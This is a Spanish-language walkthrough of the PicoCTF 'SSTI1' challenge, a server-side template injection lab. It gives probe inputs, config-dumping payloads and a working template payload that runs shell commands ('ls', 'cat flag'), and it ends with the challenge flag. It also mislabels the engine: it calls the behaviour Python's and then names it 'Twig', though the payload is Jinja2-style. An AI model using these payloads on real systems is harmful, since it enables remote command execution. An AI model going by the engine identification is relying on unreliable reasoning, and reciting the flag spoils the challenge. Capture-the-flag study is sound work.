SSTI1 PicoCTF writeup

Descripción
I made a cool website where you can announce whatever you want! Try it out!
Additional details will be available after launching your challenge instance.
SSTI1 PicoCTF solución
Antes de comenzar, el nombre del CTF ‘SSTI’ nos indica la vulnerabilidad. Tendremos que buscar en la página web, un ‘Server-Side Template Injection’.
Pulsaremos en ‘Launch instance’ y examinaremos la página.
El código de la página es un formulario que, al completar, muestra una nueva página con el contenido que le enviemos:


Para poder superar este CTF, debemos de dividirlo en dos fases.
Determinar la plantilla que se usa
Para ello, seguiremos la siguiente guía de PortSwigger:

En este caso, obtendremos los siguientes resultados:
| Valor introducido en el campo | Valor devuelto por la aplicación |
| {{7*7}} | 49 |
| {{7*’7′}} | 7777777 |
Al ver el resultado de {{7*’7′}}, vemos que está multiplicando un string por un número y devolviendo ese string n veces. Este comportamiento es propio de Python, por lo que sabemos que el sistema de plantillas empleado es ‘Twig’.
Explotar SSTI en Twig
Ahora que sabemos el sistema de plantillas, podemos usar los siguientes valores para recopilar información (aunque no es necesario):
- {{config}}
- {{config.items()}}
Necesitaremos una inyección de código para poder ejecutar comandos, en este caso funcionará el siguiente:
{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}
Al enviarlo obtendremos los archivos que hay en el directorio actual:

Ahora que la hemos localizado, modificamos el comando para obtener su contenido:
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

Obteniendo así la flag ‘picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48ad61}’ y completando el laboratorio.
